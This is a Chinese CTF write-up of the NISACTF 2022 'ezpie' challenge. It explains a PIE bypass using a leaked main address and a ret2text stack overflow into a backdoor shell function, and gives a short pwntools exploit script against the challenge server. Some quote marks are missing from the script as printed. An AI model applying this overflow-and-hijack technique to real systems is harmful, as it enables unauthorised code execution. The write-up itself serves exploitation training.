【PWN · ret2text | PIE 】[NISACTF 2022]ezpie

简单的PIE绕过


前言

所接触的PIE保护的第一题,也非常简单。


一、题目重述

二、解题思路

1.现有信息

    PIE保护——程序可能被加载到任意位置,所以位置是可变的。 程序返回了main的真实地址 存在后门函数shell vuln()中的read 0x50u >> 28h,存在栈溢出

2.思考过程

如果没有PIE——简单的ret2text,在vuln中的read处将程序执行流劫持到后门函数处即可。

然而存在PIE——所有的地址都是从一开始随机确定的,但是相对偏移量保持不变

获取了main的真实地址——可以通过相对偏移量推出其他任意地址,然后就是正常的ret2text即可。

如果把开启程序比作小船,那么PIE开启就相当于小船在茫茫大海上漂移,不过还好小船的锚是确定下来的——main的真实地址,我们就可以通过锚来找到这艘小船,找到小船上的各个房间(函数)。

3.exp

from pwn import *

context(os=linux,arch=i386,log_level=debug)
io=remote("node2.anna.nssctf.cn",28860)

#用于通过真实地址+偏移来计算任意函数真实地址
main_addr=0x770
shell_addr=0x80f
io.recvuntil(b"gift!")

#接收main的地址
main_real_addr=int(io.recv()[1:11],16)
print("main_real_addr:",main_real_addr)

#payload编写:溢出填充到返回地址前+后门函数真实地址(某函数真实地址+相对偏移量)
payload=ba*(0x28+4)
payload+=p32(main_real_addr+shell_addr-main_addr)

io.sendline(payload)
io.interactive()

总结

随着刷题的深入,各种保护的开启肯定是免不了的,对此多做总结,总是好的。

经验分享 程序员 微信小程序 职场和发展